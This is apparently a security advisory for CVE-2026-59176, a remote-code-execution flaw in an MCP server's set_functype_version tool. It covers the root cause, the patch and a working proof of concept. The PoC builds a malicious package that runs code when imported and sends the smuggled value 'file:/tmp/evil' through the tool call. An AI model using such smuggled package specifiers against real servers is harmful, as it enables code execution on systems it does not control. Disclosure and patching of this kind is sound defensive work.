CVE-2026-59176: functype-mcp-server set_functype_version Package Alias RCE
The functype-mcp-server MCP tool accepts a raw version string and pipes it straight into a pnpm install command, letting anyone who can talk to the server install an arbitrary local or remote package…

The problem
The set_functype_version tool (enabled by default, no authentication required) accepts a version parameter validated only as z.string(). No semver check, no allowlist, and no rejection of npm package-specifier aliases like file:, npm:, or URLs is performed.
The raw value is interpolated into functype@<version> and passed to pnpm add. Immediately after installation the server calls initDocsData(true), which resolves and dynamically imports functype/cli from the freshly installed location, executing any module-level code in the attacker-supplied package with full server-process privileges.
Proof of concept
A working proof-of-concept for CVE-2026-59176 in functype-mcp-server, with the exact payload below.
# Step 1: create the attacker-controlled package
mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF
# Step 2: send the malicious MCP tool call (via exploit.mjs)
# Key argument delivered to set_functype_version:
# { "version": "file:/tmp/evil" }
# This causes the server to run:
# pnpm add functype@file:/tmp/evil
# then dynamically import /tmp/evil/cli.js, executing writeFileSync above.
REPO="/path/to/functype" node exploit.mjs
# exploit.mjs calls:
# client.callTool({ name: "set_functype_version", arguments: { version: "file:/tmp/evil" } })
# Verify:
cat /pwned.txt
# => RCE: mcp import-time code execution via set_functype_versionThe root cause is CWE-829 (Inclusion of Functionality from Untrusted Control Sphere). npm/pnpm package specifiers support file:, npm:, URL, and path alias syntaxes, so an unvalidated version string becomes a full package-source selector, not just a version number.
The two-step sink chain makes it critical: pnpm add functype@file:/tmp/evil replaces the functype alias in node_modules, then initDocsData(true) immediately resolves functype/cli via require.resolve and executes it through a cache-busted dynamic import().
Any module-level code in the attacker's cli.js runs at import time, before the tool call even returns.
The patch (commit c0d58ad) adds an isSafeFunctypeVersion guard that rejects any string containing /, \, :, or @ and enforces a semver/dist-tag allowlist regex before the specifier is constructed. It also adds --ignore-scripts to the pnpm add invocation as defense-in-depth.
The fix
Upgrade functype-mcp-server to version 1.4.4. The fix in commit c0d58ad9 adds a version-allowlist regex (/^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+...)/) and rejects any input containing /, \, :, or @ before constructing the package specifier.
It also passes --ignore-scripts to pnpm add to prevent lifecycle script execution from attacker packages.
Reported by jordanburke (reporter / maintainer self-disclosure).
Related research
- high · 7.1CVE-2026-62680CVE-2026-62680: Orval Generation-Time SSRF and Local File Inclusion via Unvalidated $ref
- highNocoBase: Arbitrary File Write and Local File Inclusion leading to Remote Code Execution
- high · 8.8CVE-2026-53810CVE-2026-53810: openclaw Marketplace Runtime Extension Metadata Code Injection
- high · 8.8CVE-2026-55698CVE-2026-55698: pnpm Env Lockfile Package-Manager Integrity Bypass